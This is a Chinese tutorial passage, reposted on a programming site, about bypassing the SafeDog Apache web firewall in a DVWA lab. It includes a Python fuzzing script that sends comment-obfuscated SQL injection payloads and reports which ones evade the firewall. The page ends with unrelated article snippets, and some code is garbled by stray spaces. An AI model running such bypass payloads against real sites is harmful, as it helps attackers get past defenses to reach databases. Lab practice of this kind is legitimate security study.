绕过安全狗

 

本节我们想要绕过的安全狗版本为v4.023957 ,它是网站安全狗的Apache版。

首先搭建环境。渗透环境选用DVWA漏洞集成环境,下载地址

为http://www.dvwa.co.uk/ 。DVWA是一款集成的渗透测试演练环境,当刚刚入门  并且找不到合适的靶机时,可以使用DVWA ,它的搭建非常简便。如图8-1所示为 DVWA的下载页面。

fe5fd2216ce2412690cc3f9d07e418b3.png

图8-1    下载DVWA

下载完的文件是一个个压缩包,因为DVWA是建立在PHP和MySQL上的Web 漏洞测试环境,所以还需要一个由PHP和MySQL组成的Web服务才能正常运作。

通过下载网站环境phpStudy程序完成搭建,下载地址为小皮面板(phpstudy) - 让天下没有难配的服务器环境!。 安装完成后访问127.0.0.1查看服务是否开启,如图8-2所示。

 

 

 

 

 

063a1f5718c34b15b7df0c2bd46dd95f.png

图8-2    访问页面

将DVWA的压缩包解压到phpStudy的www 目录下。首先重置一下phpStudy的 MySQL密码,如图8-3所示。

 

 

 

 

 

93923d988c73440bbc81dabe6c26cec3.png

图8-3    重置密码

这里将密码设置为root 。此时再找到DVWA目录下的配置文件,将

DVWA/config下的config.inc.php.dist修改为config.inc.php 。打开config.inc.php ,将 其中的数据库用户名和密码修改为正确的,如图8-4所示。

 

 

 

 

 

47aff254383b40df85f7b08680289c9f.png

图8-4    修改配置文件

修改后保存。进入127.0.0.1/dvwa 目录便可正常显示登录界面。DVWA的默认 账户密码为admin/password。

接下来切换一下漏洞环境的难度。进入DVWA Security选项页面,将 Impossible换成Low ,点击Submit按钮,如图8-5所示。

 

 

 

 

 

df92f2a309734f76b093aa7a2170b28c.png

图8-5    设置等级

最后安装安全狗,可从官网(网站安全狗-网站安全防护,防后门|防SQL注入|防CC攻击|网马查杀|防篡改)下 载。选择Windows操作系统,Apache版4.0版本,按默认选项安装即可。

安装完成后,首先尝试一下没有开启安全狗时的正常注入返回。选择SQL

Injection为SQL注入环境。在User ID框内输入1会正常返回数据,但输 入“ 1’and‘ 1’” 时会返回SQL错误语句。如下所示:

4460cc10cf69499fbc6565a038658be8.png

会出现这个错误是因为1后面的单引号被注入了本身正常的SQL查询语句中, 导致SQL查询语句出现错误,并返回到页面中。这表示此处可能存在SQL注入   点。在开启安全狗防护后执行一些SQL语句,便有不一样的返回,如图8-6所示。

 

 

 

 

 

这说明SQL注入语句已被安全狗检测出并且拦截掉了。下面我们就来编写一 个简单的模糊测试绕安全狗脚本。

b548eedd7aba46f3843a03d35e97638c.png

图8-6    安全狗拦截

首先抓取返回时安全狗页面的数据包和发送的数据,如果模糊测试发送数据 后返回的不是安全狗的页面,则表明已经绕过了安全狗,如图8-7所示。

f18097653b5a47dab9b9e4222187c8f5.png

图8-7    抓包

依据抓包信息编写如下脚本,发送一个请求包,其中含有抓取到的cookie,

因为这个页面是通过get传参的,所以模糊测试只需构造到URL中的参数进行测试 即可。通过模糊测试后,判断返回的页面是否为安全狗拦截显示的页面,使用页 面中返回的“攻击请求”进行判断,不存在这4个字,则表示已经绕过了安全狗:

55e574016e074f6fb9000cf431addc1e.png

import requests

#设置cookie

cookies = "security=low; PHPSESSID=6arlml0daogk8s5p23qgm2bvb4"

 

 

 

 

 

#设置协议头

headers = {

"User-Agent" : "Mozilla/5 .0 (Macintosh; Intel Mac OS X 10_13_2)

AppleWebKit/537 .36 (KHTML, like Gecko) Chrome/63 .0 .3239 .84

Safari/537 .36",

"Cookie" : "security=low; PHPSESSID=6arlml0daogk8s5p23qgm2bvb4"

}

#循环FUZZ

for i in range(10000,15000) :

reture = "http://10 .211 .55 .3/dvwa/vulnerabilities/sqli/?id=1%27%2F*

%21" + str(i) + "and*%2F+%27a%27%3D%27a+--%2B&Submit=Submit"

r = requests .get(reture, headers=headers) .text

key = "攻击请求"

ss = r .find(key)

if ss == -1 :

print("fuzz is ok!url is :")

print(reture)

模糊测试脚本运行出来的结果如下所示,这些链接都是已经能够绕过安全狗 的。

 

 

 

 

 

绕过安全狗的效果如图8-8所示。

1f3b30e788284a0bba517939dd01cdb0.png

图8-8    绕过安全狗

这里提示已经成功绕过安全狗,完成注入。

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/457454.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

pwn学习笔记(1)前置基础

pwn学习笔记(1) (1)pwn简介: ​ 以下来自于百度百科:”Pwn”是一个黑客语法的俚语词,是指攻破设备或者系统发音类似“砰”,对黑客而言,这就是成功实施黑客攻击的声音—…

百面嵌入式专栏(面试题)内存管理相关面试题1.0

沉淀、分享、成长,让自己和他人都能有所收获!😄 📢本篇我们将介绍内存管理相关面试题 。 一、内存管理相关面试题 page数据结构中的_refcount和_mapcount有什么区别?匿名页面和高速缓存页面有什么区别?page数据结构中有一个锁,我们称为页锁,请问trylock_page()和loc…

async/await使用过程中,要注意的问题

问: const getData async () >{ console.log(触发了getData接口) let resultData await getActivityInfo(activityId); console.log(resultData,resultData) let id resultData.id; let shareImg resultData.shareImg let shareSubtitle resultData.shareSubtit…

RabbitMQ-4.MQ的可靠性

MQ的可靠性 4.MQ的可靠性4.1.数据持久化4.1.1.交换机持久化4.1.2.队列持久化4.1.3.消息持久化 4.2.LazyQueue4.2.1.控制台配置Lazy模式4.2.2.代码配置Lazy模式4.2.3.更新已有队列为lazy模式 4.MQ的可靠性 消息到达MQ以后,如果MQ不能及时保存,也会导致消…

C# CAD交互界面-自定义面板集-添加快捷命令(五)

运行环境 vs2022 c# cad2016 调试成功 一、引用 using Autodesk.AutoCAD.ApplicationServices; using Autodesk.AutoCAD.Runtime; using Autodesk.AutoCAD.Windows; using System; using System.Drawing; using System.Windows.Forms; 二、代码说明 [CommandMethod("Cre…

恒创科技:香港 BGP 服务器网络连通性如何测试?

随着互联网的快速发展,网络连通性测试变得越来越重要。网络连通性测试的目的是确定网络设备之间的连接是否正常,以及数据包是否能够在网络中顺利传输。本文将介绍一种简单易行的香港 BGP 服务器网络连通性的测试方法,利用tracer测试工具。这里…

vue3项目中使用mapv

vue3项目中使用mapv mapv是百度地图官方提供的地图数据可视化开源项目,提供了很多效果酷炫的绘图api mapv地址在这里,示例图在这里 先解释为什么要用mapv echarts画的地图,都是行政区划,就算是geo地图,也只能在行政…

MPLS——多协议标签交换

目录 1 多协议标签交换 MPLS 1.1 MPLS 的工作原理 1.1.1 MPLS 工作特点 1.1.2 MPLS 协议的基本原理 1.1.3 MPLS 的基本工作过程 1.2 转发等价类 FEC 1.2.1 FEC 用于负载平衡 1.3 MPLS 首部的位置与格式 1.3.1 MPLS 首部的位置 1.3.2 MPLS 首部的格式 1.4 新一代的…

python二维数组初始化的一个极其隐蔽的bug(浅拷贝)

初始化一个三行三列的矩阵 m n 3初始化方式1 a [[0 for i in range(m)] for j in range(n)]初始化方式2 b [] row [0 for i in range(0,m)] for i in range(0,n):b.append(row)分别输出两个初始化的结果 for row in a:print(row) for row in b:print(row)当前的输出为…

20240206三次握手四次挥手

TCP和UDP异同点 相同点:同属于传输层的协议 不同点: TCP ----> 稳定 1> 提供面向连接的,可靠的数据传输服务 2> 传输过程中,数据无误、数据无丢失、数据无失序、数据无重复 1、TCP会给每个数据包编上编号&#xff…

Qt 字符串类应用与常用基本数据类型

目录 操作字符串 查询字符串 Qt 常见数据类型 操作字符串 创建一个控制台项目 (1)QString提供一个二元的 “” 操作符,主要用于组合两个字符串。QString str1 "Hello World 传递给QString一个 const char* 类型的ASCII字符串 “He…

前端常用代码整理(不断更新中)— js,jquery篇

1.随机函数代码 function getRandom(min, max) {return Math.floor(Math.random() * (max - min 1)) min}2.倒计时代码 let now new Date()// 2. 得到指定时间的时间戳let last new Date(这里写想要达到的时间)// 3. (计算剩余的毫秒数) / 1000 剩余…